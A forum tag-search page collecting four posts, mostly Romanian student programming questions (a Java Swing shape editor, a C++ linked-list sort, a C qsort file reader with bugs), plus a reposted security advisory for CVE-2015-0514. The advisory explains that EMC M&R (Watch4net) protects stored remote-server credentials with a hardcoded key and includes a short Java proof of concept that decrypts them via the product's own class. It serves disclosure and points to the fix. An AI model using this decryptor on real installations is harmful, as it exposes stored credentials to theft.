Search the Community
Showing results for tags 'void'.
-
Salut am de facut un mini paint la facultate . Creati un editor grafic simplu, cu 3 butoane: de adaugare in fereastra a unui cerc, de adaugare a unui patrat si de stergere a unei forme (cerc sau patrat) -forma ce se poate selecta cu mouse-ul. /** * Created by on 4/6/2015. */ import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import java.awt.geom.Ellipse2D; import java.util.ArrayList; /** * Created by Angheluta on 4/6/2015. */ public class Main extends JFrame implements ActionListener,MouseListener{ JButton b1; JButton b2; JButton b3; int x,y,x1,y1; int x3,y3; String nume=" "; ArrayList<Dreptunghi> dreptunghis = new ArrayList<Dreptunghi>(); ArrayList<cerc> cercs =new ArrayList<cerc>(); public Main(){ b1 =new JButton("Dreptunghi"); b1.setBounds(10,20,100,20); b1.addActionListener(this); b2 =new JButton("Cerc"); b2.setBounds(120,20,100,20); b2.addActionListener(this); b3 =new JButton("Sterge"); b3.setBounds(220,20,100,20); b3.addActionListener(this); addMouseListener(this); add(b1); add(b2); add(b3); setLayout(null); setSize(600,600); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setVisible(true); } public void paint(Graphics g) { if(nume.equals("Dreptunghi")) { for (Dreptunghi d : dreptunghis) { d.paint(g); } } if(nume.equals("Cerc")) { for(cerc c : cercs) { c.paint(g); } } } @M2G
-
EMC M&R (Watch4net) data storage collector credentials are not properly protected ------------------------------------------------------------------------ Han Sahin, November 2014 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that EMC M&R (Watch4net) credentials of remote servers stored in Watch4net are encrypted using a fixed hardcoded password. If an attacker manages to obtain a copy of the encrypted credentials, it is trivial to decrypt them. ------------------------------------------------------------------------ Affected products ------------------------------------------------------------------------ EMC reports that the following products are affected by this vulnerability: - EMC M&R (Watch4Net) versions prior 6.5u1 - EMC ViPR SRM versions prior to 3.6.1 ------------------------------------------------------------------------ See also ------------------------------------------------------------------------ - CVE-2015-0514 - ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ EMC released the following updated versions that resolve this vulnerability: - EMC M&R (Watch4Net) 6.5u1 - EMC ViPR SRM 3.6.1 Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://www.securify.nl/advisory/SFY20141101/emc_m_r__watch4net__data_storage_collector_credentials_are_not_properly_protected.html Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process(). Proof of concept import com.watch4net.apg.v2.common.config.tools.Utils; public class Watch4NetCrypt { private static void print(String out) { System.out.println(out); } private static void usage() { print("Usage:\t watch4netcrypt [-e] password"); print("\t watch4netcrypt [-d] encrypted"); System.exit(1); } public static void main(String[] args) { if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) { usage(); } Boolean encrypt = "-e".equals(args[0]); String password = args[1]; if (password != null) { print(Utils.process(password, encrypt, "centralized", null)); } } Source
-
- credentials
- emc
-
(and 3 more)
Tagged with:
-
Se considera o lista dublu inlantuita de studenti cu structura:cod matricol, nume, prenume si media. Sa se scrie programul in C pentru crearea, ordonarea dupa medie si afisarea listei studentilor folosindu-se cate o functie adecvata pentru fiecare operatie (creare, ordonare si listare). cum pot ordona lista, fara sa permut valorile campurilor? eu am incercat asa, ceva ideei? EDIT: am inteles ca se poate ordona cu std::sort, dar nu stiu cum #include <iostream> #include <stdlib.h> using namespace std; struct nod { int cod_matricol; char nume[20]; char prenume[20]; float media; nod *urmator, *anterior; }; nod *prim, *ultim,xx; // int yy=0; void creez() { nod *c; c=new nod; cout<<"Cod matricol : "; cin>>c->cod_matricol; cout<<"Nume : "; cin>>c->nume; cout<<"Prenume : "; cin>>c->prenume; cout<<"Media : "; cin>>c->media; if (!prim) { prim=c; prim->urmator=0; prim->anterior=0; ultim=prim; } else { ultim->urmator=c; c->anterior=ultim; ultim=c; ultim->urmator=0; } } void afisez() { nod *c; int i=1; c=prim; while (c) { cout<<"Inregistrarea "<<i++<<" : "<<endl; cout<<"Cod matricol : "<<c->cod_matricol<<endl; cout<<"Nume : "<<c->nume<<endl; cout<<"Prenume : "<<c->prenume<<endl; cout<<"Media : "<<c->media<<endl; cout<<endl; c=c->urmator; } } void ordonez() { nod *x,*y,*aux; int auxaux; aux=prim->urmator; for(x=prim;x!=0;x=x->urmator) for(y=aux;y!=0;y=y->urmator) if(x->media > y->media) { xx=*x; *x=*y; *y=xx; *prim=xx; } } int main() { int n,i; cout<<"Cate inregistrari? : "; cin>>n; for(i=1;i<=n;i++) creez(); system("cls"); afisez(); system("pause"); system("cls"); ordonez(); afisez(); system("pause"); return 0; }
-
Salut, vreau sa citesc informatii din fisierul in.txt, sa le ordonez folosid qsort si sa le afisez in alt fisier, out,txt. Nu-mi dau seama de ce intra in bucla infinita, sau unde, ceva ajutor? #include <stdio.h> #include <stdlib.h> #include <string.h> #include <conio.h> void verific (FILE *f) { if (f==NULL) { printf("Eroare deschidere fisier\n"); exit(1); } } void afisare (char* a[], int n) { int i; for(i=0;i<n;i++) if(a[i]!=NULL) printf("%s\n",a[i]); } int fqs (const void *a, const void * { return strcmp ( *(char**)a , *(char**)b ); } int citesc (FILE *f, char* a[]) { int i=0; char buf[100]; fread(buf,sizeof(char),1,f); while (*buf != '\0') { a[i]=strdup(buf); if(a[i]==NULL) { printf("Alocare esuata"); exit(1); } i++; } return i; /* int i=0; char buf[100]; fgets(buf,sizeof(char*),f); while (*buf != '\0') { a[i]=strdup(buf); if(a[i]==NULL) { printf("Alocare esuata"); exit(1); } i++; fgets(buf,sizeof(char*),f); } return i; */ } int scriu (FILE *f, char* a[], int n) { fwrite(a,sizeof(char*),n,f); fputs("\n\n",f); } int main() { int n; FILE *f=fopen("in.txt","rt"); FILE *g=fopen("out.txt","wt"); verific(f); verific(g); char* a[100]; n=citesc(f,a); afisare(a,n); scriu(g,a,n); qsort(a,n,sizeof(char*),fqs); scriu(g,a,n); return 0; }